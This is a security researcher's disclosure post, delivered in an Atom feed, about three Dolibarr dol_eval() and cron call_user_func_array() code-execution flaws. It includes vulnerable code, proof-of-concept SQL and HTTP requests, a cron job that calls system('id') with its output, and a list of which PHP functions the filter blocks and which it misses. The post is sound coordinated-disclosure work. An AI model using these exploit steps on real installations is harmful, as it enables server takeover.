<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://bryamzxz.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://bryamzxz.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-05-26T17:04:41+00:00</updated><id>https://bryamzxz.github.io/feed.xml</id><title type="html">bryamzxz</title><subtitle>Independent security research, coordinated disclosure, and civic-tech forensics. Bug bounty against Colombian state infrastructure and mobile spyware forensics with civic partners.</subtitle><author><name>Bryam Vargas</name></author><entry><title type="html">Dolibarr dol_eval(): Five Years of Partial Patches</title><link href="https://bryamzxz.github.io/2026/05/25/dol_eval-five-years/" rel="alternate" type="text/html" title="Dolibarr dol_eval(): Five Years of Partial Patches" /><published>2026-05-25T05:00:00+00:00</published><updated>2026-05-25T05:00:00+00:00</updated><id>https://bryamzxz.github.io/2026/05/25/dol_eval-five-years</id><content type="html" xml:base="https://bryamzxz.github.io/2026/05/25/dol_eval-five-years/"><![CDATA[<h2 id="abstract">Abstract</h2>

<p>This post documents three high-severity vulnerabilities in Dolibarr ERP/CRM — two PHP code-execution primitives via <code class="language-plaintext highlighter-rouge">dol_eval()</code> (CWE-94 and CWE-95) and one OS command execution via <code class="language-plaintext highlighter-rouge">call_user_func_array()</code> (CWE-78) — assigned <strong>CVE-2026-37711</strong>, <strong>CVE-2026-37712</strong>, and <strong>CVE-2026-37713</strong> by the MITRE TL-Root on April 10, 2026. Only <strong>CVE-2026-37712</strong> is a direct OS-level RCE; the other two execute attacker-supplied PHP inside <code class="language-plaintext highlighter-rouge">eval()</code> and reach OS command execution only when chained with 37712. CVE-2026-37711 is a <code class="language-plaintext highlighter-rouge">dol_eval()</code> code-injection pattern (CWE-94) copied unchanged into 31 call sites across 30 files by a single 2025 commit, none of them individually patched since. CVE-2026-37712 is the OS command execution via unrestricted <code class="language-plaintext highlighter-rouge">call_user_func_array()</code> in the cron scheduler. CVE-2026-37713 is an arbitrary-PHP-execution primitive (CWE-95) reached passively through a stored <code class="language-plaintext highlighter-rouge">dol_eval</code> chain in the base business object class; OS command execution from 37713 alone is blocked by the function-name deny-list, but chains cleanly with 37712 for OS exec. All three affect stable v22.0.0 through v22.0.4 by default; v24.0-alpha reachability is branch-dependent (per-finding tables in §3).</p>

<p>The wider context is a five-year pattern of <code class="language-plaintext highlighter-rouge">dol_eval</code>-related CVEs in Dolibarr (2022–2026), each addressed through blacklist expansion rather than architectural change. This post documents the three new findings, the audit methodology, and the broader pattern.</p>

<hr />

<h2 id="1-background">1. Background</h2>

<h3 id="11-the-dol_eval-function">1.1 The <code class="language-plaintext highlighter-rouge">dol_eval()</code> function</h3>

<p><code class="language-plaintext highlighter-rouge">dol_eval()</code> is a centralized wrapper around PHP’s native <code class="language-plaintext highlighter-rouge">eval()</code> used throughout the Dolibarr codebase to evaluate dynamic expressions for computed extrafields, dynamic visibility rules, menu permissions, and access rights. Rather than eliminating <code class="language-plaintext highlighter-rouge">eval()</code> usage — as PHP’s own documentation <a href="https://www.php.net/manual/en/function.eval.php">recommends</a> — Dolibarr’s approach has historically relied on a blacklist of forbidden functions and characters, expanded incrementally each time a bypass is discovered.</p>

<h3 id="12-five-years-of-dol_eval-cves">1.2 Five years of <code class="language-plaintext highlighter-rouge">dol_eval</code> CVEs</h3>

<table>
  <thead>
    <tr>
      <th>Year</th>
      <th>CVE</th>
      <th>Bypass Vector</th>
      <th>Fix Approach</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022</td>
      <td>CVE-2022-0819</td>
      <td><code class="language-plaintext highlighter-rouge">dol_eval</code> code injection (huntr.dev), affecting releases before 15.0.1</td>
      <td>Blacklist additions; fixed in 15.0.1</td>
    </tr>
    <tr>
      <td>2022</td>
      <td>CVE-2022-40871</td>
      <td>Eval injection — a database-stored payload executed by <code class="language-plaintext highlighter-rouge">eval</code>; an administrator is addable via the install page (≤ 15.0.3)</td>
      <td>Blacklist additions</td>
    </tr>
    <tr>
      <td>2024</td>
      <td>CVE-2024-40137</td>
      <td>Blacklist bypass via additional functions (computed field, Users Module Setup)</td>
      <td>Blacklist expansion</td>
    </tr>
    <tr>
      <td>2025</td>
      <td>CVE-2025-56588</td>
      <td>Callable-accepting helpers (<code class="language-plaintext highlighter-rouge">array_map</code>, etc.) on the <code class="language-plaintext highlighter-rouge">extrafields.perms</code> attribute</td>
      <td>Central <code class="language-plaintext highlighter-rouge">dol_eval()</code> blacklist expansion (commit <code class="language-plaintext highlighter-rouge">b03f30c7e</code>); introduced <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code></td>
    </tr>
    <tr>
      <td>2026</td>
      <td>CVE-2026-22666</td>
      <td><code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> whitelist-mode bypass via dynamic callable syntax <code class="language-plaintext highlighter-rouge">('exec')('id')</code> (Jiva Security; CNA: VulnCheck)</td>
      <td>Fixed in 23.0.2 (commit <code class="language-plaintext highlighter-rouge">6f42552</code>)</td>
    </tr>
    <tr>
      <td><strong>2026</strong></td>
      <td><strong>CVE-2026-37711</strong></td>
      <td>31 unpatched <code class="language-plaintext highlighter-rouge">perms</code> call sites of the same pattern</td>
      <td>unfixed</td>
    </tr>
    <tr>
      <td><strong>2026</strong></td>
      <td><strong>CVE-2026-37713</strong></td>
      <td>Permissive-mode (<code class="language-plaintext highlighter-rouge">'2'</code>) eval on computed fields</td>
      <td>unfixed</td>
    </tr>
  </tbody>
</table>

<p>The pattern is consistent: each finding is treated as a discrete bug rather than as a symptom of an architectural decision. The blacklist grows; the underlying use of <code class="language-plaintext highlighter-rouge">eval()</code> does not change.</p>

<h3 id="13-project-philosophy">1.3 Project philosophy</h3>

<p>The Dolibarr <code class="language-plaintext highlighter-rouge">README.md</code> describes the design principle as <em>“Code that is easy to understand, maintain and develop (PHP with no heavy framework; trigger and hook architecture).”</em> The project explicitly forbids Composer dependencies, framework adoption, and database-side stored procedures. The maintainer has <a href="https://github.com/Dolibarr/dolibarr/pull/33082#issuecomment-2657456832">defended</a> <code class="language-plaintext highlighter-rouge">GETPOST()</code> (the centralized input sanitization layer) as <em>“the main and the most important security layer of Dolibarr.”</em></p>

<p>This philosophy delivers genuine accessibility — Dolibarr is used by an estimated 600,000 installations and has remained installable on shared hosting since 2003 — but the same philosophy constrains the available responses to recurring vulnerability classes.</p>

<h3 id="14-prior-community-feedback">1.4 Prior community feedback</h3>

<p>In February 2025, contributor <code class="language-plaintext highlighter-rouge">c3do</code> submitted <a href="https://github.com/Dolibarr/dolibarr/pull/33082">PR #33082</a>, a substantial rewrite of <code class="language-plaintext highlighter-rouge">dol_eval</code>. The stated rationale: <em>“I do not understand the idea of using ‘eval’ everywhere in Dolibarr when even the PHP documentation advises against its use. […] Everywhere else, eval is not the right answer.”</em></p>

<p>During the review, <code class="language-plaintext highlighter-rouge">c3do</code> made a specific technical observation about the limits of the existing filter:</p>

<blockquote>
  <p>“I added a filter that allows you to prohibit specific sequences of tokens. Which allows you to prohibit variable functions such as: <code class="language-plaintext highlighter-rouge">$a(); 'a'(); "a"();</code> It is necessary to prohibit them because they are not filtered by the function name filter.”</p>
</blockquote>

<p>That is — fourteen months before CVE-2026-22666 was assigned — an explicit description of the exact bypass class that CVE would later use: a function call expressed through a string literal (<code class="language-plaintext highlighter-rouge">'a'()</code>), which a name-based filter does not inspect. A fix for it was proposed in the same PR.</p>

<p>PR #33082 was not merged. The maintainers’ counter-proposal was a parallel implementation gated behind a configuration constant (<code class="language-plaintext highlighter-rouge">MAIN_USE_NEW_DOL_EVAL</code>) — an opt-in transition rather than an architectural replacement — and the PR was ultimately closed without merge.</p>

<h3 id="15-the-transition-to-dol_eval_standard">1.5 The transition to <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code></h3>

<p>The CVE-2025-56588 patch did more than expand the central blacklist: it also introduced <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> — a second evaluation wrapper with a whitelist mode, gated by the <code class="language-plaintext highlighter-rouge">$dolibarr_main_restrict_eval_methods</code> configuration variable. Six months later, Farhan Jiva (Jiva Security) demonstrated a bypass of that whitelist, assigned <strong>CVE-2026-22666</strong> (CNA: VulnCheck) and fixed in Dolibarr 23.0.2 (commit <code class="language-plaintext highlighter-rouge">6f42552</code>).</p>

<p>The stable 22.x branch, however, never adopted the new wrapper at the 31 <code class="language-plaintext highlighter-rouge">perms</code> call sites enumerated in this disclosure. The result is three branches carrying three different gaps at once: 22.x retains the original blacklist, 23.x carries the bypassed whitelist, and <code class="language-plaintext highlighter-rouge">develop</code> inherits both. Patch incompleteness compounded with patch bypass — both within a six-month window.</p>

<hr />

<h2 id="2-methodology">2. Methodology</h2>

<h3 id="21-approach">2.1 Approach</h3>

<p>This research was conducted source-first: reading the Dolibarr codebase, tracing data flows from input sources to sink calls, reproducing each finding in an isolated lab, and documenting reproducible steps.</p>

<h3 id="22-tooling">2.2 Tooling</h3>

<p>Vulnerability identification used <code class="language-plaintext highlighter-rouge">grep -rn</code> to enumerate <code class="language-plaintext highlighter-rouge">dol_eval(</code> and <code class="language-plaintext highlighter-rouge">call_user_func_array(</code> call sites across the <code class="language-plaintext highlighter-rouge">htdocs/</code> tree, followed by per-call-site manual review of:</p>

<ol>
  <li><strong>Input source</strong> — <code class="language-plaintext highlighter-rouge">GETPOST()</code> parameters, database-stored content, configuration values.</li>
  <li><strong>Sanitization layer</strong> — what filter, if any, is applied before the call (<code class="language-plaintext highlighter-rouge">'aZ09'</code>, <code class="language-plaintext highlighter-rouge">'alpha'</code>, <code class="language-plaintext highlighter-rouge">'restricthtml'</code>, etc.).</li>
  <li><strong>Reachability</strong> — whether an authenticated user (or unauthenticated, where applicable) can cause the value to be evaluated.</li>
</ol>

<p>For findings derived from amplifier files (e.g., <code class="language-plaintext highlighter-rouge">actions_addupdatedelete.inc.php</code>, included by 126 files), the inverse trace was performed: locating every consumer of the include and verifying that the vulnerable code path is reachable in each context.</p>

<h3 id="23-lab-environment">2.3 Lab environment</h3>

<p>Two labs were used across the engagement; both are documented in
Appendix A. Initial discovery and the §3.1 / §3.2 PoCs ran in the
<strong>February–March 2026 lab</strong>:</p>

<ul>
  <li>Dolibarr 24.0.0-alpha (commit <code class="language-plaintext highlighter-rouge">ff146c4713</code>, the latest develop branch as of February 2026)</li>
  <li>Also confirmed on stable v22.0.0 through v22.0.4</li>
  <li>Podman containers on Ubuntu 24.04</li>
  <li>PHP 8.3.6, Apache 2.4.58, MariaDB 11.4</li>
  <li>Burp Suite for HTTP capture</li>
</ul>

<p>The §3.3 PoC was rebuilt for the published version in the <strong>May 2026
lab</strong> after a post-publication review identified that the original
§3.3 demonstration material was a CLI simulation of <code class="language-plaintext highlighter-rouge">eval()</code> rather
than the full filter pipeline:</p>

<ul>
  <li>Dolibarr v22.0.4 (release tag; <code class="language-plaintext highlighter-rouge">DOL_VERSION = '22.0.4'</code>)</li>
  <li>Debian 13.5</li>
  <li>PHP 8.3.31 (Ondrej Sury build for Debian trixie — same 8.3 series as the original lab)</li>
  <li>Apache 2.4.67, MariaDB 11.8.6</li>
  <li><code class="language-plaintext highlighter-rouge">curl -isS</code> for HTTP capture</li>
</ul>

<p>Container/VM isolation ensured that no test touched any production system. Network-isolated for fuzzing where applicable.</p>

<h3 id="24-methodology-transparency">2.4 Methodology transparency</h3>

<p>This statement is made deliberately. In the era of AI-driven vulnerability discovery — where models can produce voluminous reports of varying quality — distinguishing rigorous human research from automated output requires methodology transparency.</p>

<ul>
  <li><strong>Vulnerability identification was human-driven.</strong> No LLM was used to find the call sites, classify their reachability, or determine exploitability.</li>
  <li><strong>AI assistance was limited to documentation drafting</strong> — wording, formatting, organization of timelines — and is disclosed here.</li>
  <li><strong>Per-finding audit trails are available on request:</strong> <code class="language-plaintext highlighter-rouge">grep</code> output, per-site taintability notes, lab reproduction logs.</li>
</ul>

<h3 id="25-curation">2.5 Curation</h3>

<p>From a wider set of candidate findings produced during the audit, three were selected for coordinated disclosure based on:</p>

<ul>
  <li>Severity (CVSS ≥ 8.0)</li>
  <li>Independent reproducibility</li>
  <li>Architectural significance — each represents a distinct sink class (<code class="language-plaintext highlighter-rouge">dol_eval</code> active, <code class="language-plaintext highlighter-rouge">dol_eval</code> passive, <code class="language-plaintext highlighter-rouge">call_user_func_array</code>)</li>
</ul>

<hr />

<h2 id="3-findings">3. Findings</h2>

<h3 id="31-cve-2026-37711--dol_eval-code-injection-via-extrafields-perms-cvss-91">3.1 CVE-2026-37711 — <code class="language-plaintext highlighter-rouge">dol_eval()</code> Code Injection via extrafields <code class="language-plaintext highlighter-rouge">perms</code> (CVSS 9.1)</h3>

<p><strong>Class:</strong> CWE-94 (Code Injection) + CWE-184 (Incomplete List of Disallowed Inputs)
<strong>Affected:</strong> Dolibarr v22.0.0 – v22.0.4 (default install). The chain transits <code class="language-plaintext highlighter-rouge">dol_eval()</code>, so v24.0-alpha reachability requires the same operator override (<code class="language-plaintext highlighter-rouge">$dolibarr_main_restrict_eval_methods = ''</code>) documented in §3.3’s per-branch table.
<strong>GHSA:</strong> <code class="language-plaintext highlighter-rouge">GHSA-grw9-6m4w-mhcq</code> <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.1.)</em></p>

<h4 id="description">Description</h4>

<p>Dolibarr evaluates the <code class="language-plaintext highlighter-rouge">perms</code> attribute of extrafields using <code class="language-plaintext highlighter-rouge">dol_eval()</code> on every object update operation. The <code class="language-plaintext highlighter-rouge">attribute</code> parameter is read from user input via <code class="language-plaintext highlighter-rouge">GETPOST('attribute', 'aZ09')</code> and used to index <code class="language-plaintext highlighter-rouge">$extrafields-&gt;attributes[...]['perms'][...]</code> from the database. An administrator can store a PHP expression in <code class="language-plaintext highlighter-rouge">llx_extrafields.perms</code> and trigger its evaluation via <code class="language-plaintext highlighter-rouge">action=update_extras&amp;attribute=&lt;fieldname&gt;</code>.</p>

<p>This vulnerability exists in <strong>31 call sites across 30 files</strong>, all introduced in commit <code class="language-plaintext highlighter-rouge">ae59c409f6</code> on March 26, 2025 (commit message: <em>“Modulebuilderization”</em>), and no individual call site has been patched since. CVE-2025-56588 (2025) hardened <code class="language-plaintext highlighter-rouge">dol_eval()</code> <em>centrally</em> — its patch, commit <code class="language-plaintext highlighter-rouge">b03f30c7e</code>, added callable-accepting helpers such as <code class="language-plaintext highlighter-rouge">array_map</code> to the <code class="language-plaintext highlighter-rouge">$forbiddenphpfunctions</code> blacklist inside <code class="language-plaintext highlighter-rouge">dol_eval()</code> — but a central blacklist change removes no call sites: the blacklist remains bypassable, and every one of these 31 sites stays reachable.</p>

<h4 id="vulnerable-code">Vulnerable code</h4>

<p><code class="language-plaintext highlighter-rouge">htdocs/core/actions_addupdatedelete.inc.php</code>, line 430:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$permissiontoeditextra</span> <span class="o">=</span> <span class="nv">$permissiontoadd</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nf">GETPOST</span><span class="p">(</span><span class="s1">'attribute'</span><span class="p">,</span> <span class="s1">'aZ09'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$extrafields</span><span class="o">-&gt;</span><span class="n">attributes</span>
    <span class="p">[</span><span class="nv">$object</span><span class="o">-&gt;</span><span class="n">table_element</span><span class="p">][</span><span class="s1">'perms'</span><span class="p">][</span><span class="nf">GETPOST</span><span class="p">(</span><span class="s1">'attribute'</span><span class="p">,</span> <span class="s1">'aZ09'</span><span class="p">)]))</span> <span class="p">{</span>
    <span class="nv">$permissiontoeditextra</span> <span class="o">=</span> <span class="nf">dol_eval</span><span class="p">(</span>
        <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$extrafields</span><span class="o">-&gt;</span><span class="n">attributes</span><span class="p">[</span><span class="nv">$object</span><span class="o">-&gt;</span><span class="n">table_element</span><span class="p">][</span><span class="s1">'perms'</span><span class="p">][</span><span class="nf">GETPOST</span><span class="p">(</span><span class="s1">'attribute'</span><span class="p">,</span> <span class="s1">'aZ09'</span><span class="p">)]</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="systemic-amplifier">Systemic amplifier</h4>

<p><code class="language-plaintext highlighter-rouge">actions_addupdatedelete.inc.php</code> is included by 126 files across the codebase. Every module using this include inherits the vulnerability. The full inventory of 31 affected sites is enumerated in the GHSA advisory.</p>

<h4 id="proof-of-concept">Proof of Concept</h4>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Step 1: Inject payload (requires admin)</span>
<span class="k">UPDATE</span> <span class="n">llx_extrafields</span>
<span class="k">SET</span> <span class="n">perms</span> <span class="o">=</span> <span class="s1">'die("C4_CONFIRMED_RCE")'</span>
<span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'evil_field'</span> <span class="k">AND</span> <span class="n">elementtype</span> <span class="o">=</span> <span class="s1">'societe'</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/societe/card.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">target</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">DOLSESSID_...=&lt;valid_session&gt;</span>

action=update_extras&amp;id=1&amp;attribute=evil_field&amp;token=&lt;csrf_token&gt;
</code></pre></div></div>

<p><strong>Confirmed result</strong> (Burp Suite, 2026-03-02, commit <code class="language-plaintext highlighter-rouge">ff146c4713</code>):</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">16</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>

C4_CONFIRMED_RCE
</code></pre></div></div>

<p>The full page response (normally ~60KB) was reduced to 16 bytes — <code class="language-plaintext highlighter-rouge">die()</code> executed and terminated PHP execution. Code injection confirmed.</p>

<p>The blacklist blocks direct calls to <code class="language-plaintext highlighter-rouge">system()</code>, <code class="language-plaintext highlighter-rouge">exec()</code>, etc., but <code class="language-plaintext highlighter-rouge">die()</code> is not blocked, demonstrating that the <code class="language-plaintext highlighter-rouge">eval()</code> call itself is fully reachable. Combined with less-restricted <code class="language-plaintext highlighter-rouge">dol_eval()</code> call sites (see §3.3), the chain achieves OS command execution.</p>

<h4 id="recommended-fix">Recommended fix</h4>

<p>Remove the <code class="language-plaintext highlighter-rouge">dol_eval</code> block entirely from this code path. The <code class="language-plaintext highlighter-rouge">perms</code> attribute should be evaluated server-side against a fixed grammar, not via <code class="language-plaintext highlighter-rouge">eval()</code>.</p>

<hr />

<h3 id="32-cve-2026-37712--authenticated-rce-via-call_user_func_array-in-cron-jobs-cvss-91">3.2 CVE-2026-37712 — Authenticated RCE via <code class="language-plaintext highlighter-rouge">call_user_func_array</code> in Cron Jobs (CVSS 9.1)</h3>

<p><strong>Class:</strong> CWE-78 (OS Command Injection)
<strong>Affected:</strong> Dolibarr v22.0.0 – v22.0.4 <strong>and</strong> v24.0-alpha by default. Unlike §3.1 / §3.3, this sink does <strong>not</strong> transit <code class="language-plaintext highlighter-rouge">dol_eval()</code> — the <code class="language-plaintext highlighter-rouge">call_user_func_array</code> call has no filter wrapper at all, so the post-CVE-2026-22666 whitelist mode does not constrain it.
<strong>GHSA:</strong> <code class="language-plaintext highlighter-rouge">GHSA-c2jp-w9cj-6cx4</code> <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.2.)</em></p>

<h4 id="description-1">Description</h4>

<p>Dolibarr’s scheduled job system supports two job types: <code class="language-plaintext highlighter-rouge">command</code> and <code class="language-plaintext highlighter-rouge">function</code>. The <code class="language-plaintext highlighter-rouge">command</code> type is intentionally protected by the configuration flag <code class="language-plaintext highlighter-rouge">$dolibarr_cron_allow_cli</code>. The <code class="language-plaintext highlighter-rouge">function</code> type passes user-controlled input directly to PHP’s <code class="language-plaintext highlighter-rouge">call_user_func_array()</code> with no allowlist, no blacklist, and no validation of the method name.</p>

<p>An administrator can create a job with <code class="language-plaintext highlighter-rouge">methodename='system'</code> and <code class="language-plaintext highlighter-rouge">params='id'</code> entirely through the web UI — no database access, no <code class="language-plaintext highlighter-rouge">conf.php</code> modification, and no <code class="language-plaintext highlighter-rouge">$dolibarr_cron_allow_cli</code> requirement.</p>

<h4 id="vulnerable-code-1">Vulnerable code</h4>

<p><code class="language-plaintext highlighter-rouge">htdocs/cron/class/cronjob.class.php</code>, lines ~1448–1490:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">jobtype</span> <span class="o">==</span> <span class="s1">'function'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$libpath</span> <span class="o">=</span> <span class="s1">'/'</span><span class="mf">.</span><span class="nb">strtolower</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">module_name</span><span class="p">)</span><span class="mf">.</span><span class="s1">'/lib/'</span><span class="mf">.</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">libname</span><span class="p">;</span>
    <span class="nv">$ret</span> <span class="o">=</span> <span class="nf">dol_include_once</span><span class="p">(</span><span class="nv">$libpath</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$ret</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$error</span><span class="o">++</span><span class="p">;</span> <span class="c1">// blocks only if file doesn't exist</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$error</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$params_arr</span> <span class="o">=</span> <span class="nb">array_map</span><span class="p">(</span><span class="s1">'trim'</span><span class="p">,</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">","</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">params</span><span class="p">));</span>
        <span class="c1">// NO ALLOWLIST CHECK — methodename comes directly from DB</span>
        <span class="nv">$result</span> <span class="o">=</span> <span class="nb">call_user_func_array</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">methodename</span><span class="p">,</span> <span class="nv">$params_arr</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For comparison, the <code class="language-plaintext highlighter-rouge">method</code> job type (line 1380) explicitly blocks at least one dangerous case:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nb">strtolower</span><span class="p">(</span><span class="nb">trim</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">methodename</span><span class="p">)),</span> <span class="k">array</span><span class="p">(</span><span class="s1">'executecli'</span><span class="p">)))</span> <span class="p">{</span>
    <span class="nv">$error</span><span class="o">++</span><span class="p">;</span> <span class="c1">// blocked</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">function</code> type has no equivalent guard.</p>

<h4 id="proof-of-concept-1">Proof of Concept</h4>

<p>Create a job entirely from the web UI (Setup → Scheduled Jobs → New Job):</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Job type</td>
      <td>Function (PHP)</td>
    </tr>
    <tr>
      <td>Module</td>
      <td><code class="language-plaintext highlighter-rouge">zapier</code></td>
    </tr>
    <tr>
      <td>Filename with class</td>
      <td><code class="language-plaintext highlighter-rouge">zapier.lib.php</code></td>
    </tr>
    <tr>
      <td>Method</td>
      <td><code class="language-plaintext highlighter-rouge">system</code></td>
    </tr>
    <tr>
      <td>Parameters</td>
      <td><code class="language-plaintext highlighter-rouge">id</code></td>
    </tr>
  </tbody>
</table>

<p>Notes on input filtering:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">methodename</code> is read via <code class="language-plaintext highlighter-rouge">GETPOST('methodename', 'aZ09')</code> — alphanumeric filter accepts <code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">exec</code>, <code class="language-plaintext highlighter-rouge">passthru</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">params</code> is read via <code class="language-plaintext highlighter-rouge">GETPOST('params')</code> — no filter.</li>
</ul>

<p>The library <code class="language-plaintext highlighter-rouge">zapier.lib.php</code> exists in a default Dolibarr installation; any installed module library passes the <code class="language-plaintext highlighter-rouge">dol_include_once()</code> check (e.g. <code class="language-plaintext highlighter-rouge">paypal/lib/paypal.lib.php</code>, <code class="language-plaintext highlighter-rouge">recruitment/lib/...</code>).</p>

<p>Trigger via:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /cron/card.php?id={JOB_ID}&amp;action=confirm_execute&amp;confirm=yes&amp;token=...
</span></code></pre></div></div>

<p><strong>Confirmed output</strong> in HTTP response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div></div>

<p>The output of <code class="language-plaintext highlighter-rouge">system()</code> is printed directly into PHP’s output buffer and appears at the top of the HTML response, before template rendering.</p>

<h4 id="recommended-fix-1">Recommended fix</h4>

<p>Implement a strict allowlist for <code class="language-plaintext highlighter-rouge">$this-&gt;methodename</code> when <code class="language-plaintext highlighter-rouge">jobtype == 'function'</code>, restricting it to Dolibarr-defined functions only. Alternatively, enforce that the called method belongs to an explicitly instantiated Dolibarr class rather than allowing raw global PHP function execution.</p>

<hr />

<h3 id="33-cve-2026-37713--dol_eval-php-code-execution-via-computed-extrafield-passive-trigger-cvss-81">3.3 CVE-2026-37713 — <code class="language-plaintext highlighter-rouge">dol_eval()</code> PHP Code Execution via Computed Extrafield, Passive Trigger (CVSS 8.1)</h3>

<p><strong>Class:</strong> CWE-95 (Eval Injection)
<strong>Affected:</strong> Dolibarr v22.0.0 – v22.0.4 (default install). v24.0-alpha is reachable <strong>only</strong> when <code class="language-plaintext highlighter-rouge">$dolibarr_main_restrict_eval_methods</code> is manually emptied in <code class="language-plaintext highlighter-rouge">conf.php</code> — see per-branch table below.
<strong>GHSA:</strong> <code class="language-plaintext highlighter-rouge">GHSA-cq92-jp5j-rwvj</code> <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.3.)</em></p>

<h4 id="description-2">Description</h4>

<p>Dolibarr evaluates the <code class="language-plaintext highlighter-rouge">fieldcomputed</code> property of extrafields using <code class="language-plaintext highlighter-rouge">dol_eval()</code> with <code class="language-plaintext highlighter-rouge">onlysimplestring='2'</code> (permissive mode) on <strong>every object fetch, insert, update, and display</strong>. An administrator can inject a PHP expression into <code class="language-plaintext highlighter-rouge">llx_extrafields.fieldcomputed</code> via the extrafield admin UI. Any subsequently authenticated request that loads, creates, or updates a business object of the affected type routes the stored string through <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> and into PHP’s native <code class="language-plaintext highlighter-rouge">eval()</code>.</p>

<p>The function’s filter pipeline (char-whitelist + dynamic-call regex + deny-list of ~70 dangerous function/class names) prevents direct OS command execution — <code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">exec</code>, <code class="language-plaintext highlighter-rouge">passthru</code>, <code class="language-plaintext highlighter-rouge">shell_exec</code>, <code class="language-plaintext highlighter-rouge">proc_open</code>, <code class="language-plaintext highlighter-rouge">popen</code>, <code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">assert</code>, <code class="language-plaintext highlighter-rouge">create_function</code>, <code class="language-plaintext highlighter-rouge">mb_ereg_replace</code>, all callable-accepting helpers (<code class="language-plaintext highlighter-rouge">array_map</code>, <code class="language-plaintext highlighter-rouge">call_user_func</code>, <code class="language-plaintext highlighter-rouge">preg_replace_callback</code>, …), all file ops (<code class="language-plaintext highlighter-rouge">fopen</code>, <code class="language-plaintext highlighter-rouge">file_put_contents</code>, <code class="language-plaintext highlighter-rouge">unlink</code>, <code class="language-plaintext highlighter-rouge">mkdir</code>, …) are all explicitly denied — but does <strong>not</strong> cover the broader PHP API. Reachable from inside the filter: <code class="language-plaintext highlighter-rouge">phpversion()</code>, <code class="language-plaintext highlighter-rouge">phpinfo()</code>, <code class="language-plaintext highlighter-rouge">header()</code>, <code class="language-plaintext highlighter-rouge">setcookie()</code>, <code class="language-plaintext highlighter-rouge">define()</code>, the <code class="language-plaintext highlighter-rouge">socket_*</code> / <code class="language-plaintext highlighter-rouge">stream_socket_*</code> families, <code class="language-plaintext highlighter-rouge">unserialize()</code>, plus method calls on the in-scope <code class="language-plaintext highlighter-rouge">$db</code>, <code class="language-plaintext highlighter-rouge">$conf</code>, <code class="language-plaintext highlighter-rouge">$user</code>, <code class="language-plaintext highlighter-rouge">$mysoc</code>, <code class="language-plaintext highlighter-rouge">$objectoffield</code> globals.</p>

<p>OS command execution requires a separate primitive. Chain this with CVE-2026-37712 (§3.2), which provides clean OS-command execution via <code class="language-plaintext highlighter-rouge">call_user_func_array</code> in the cron scheduler.</p>

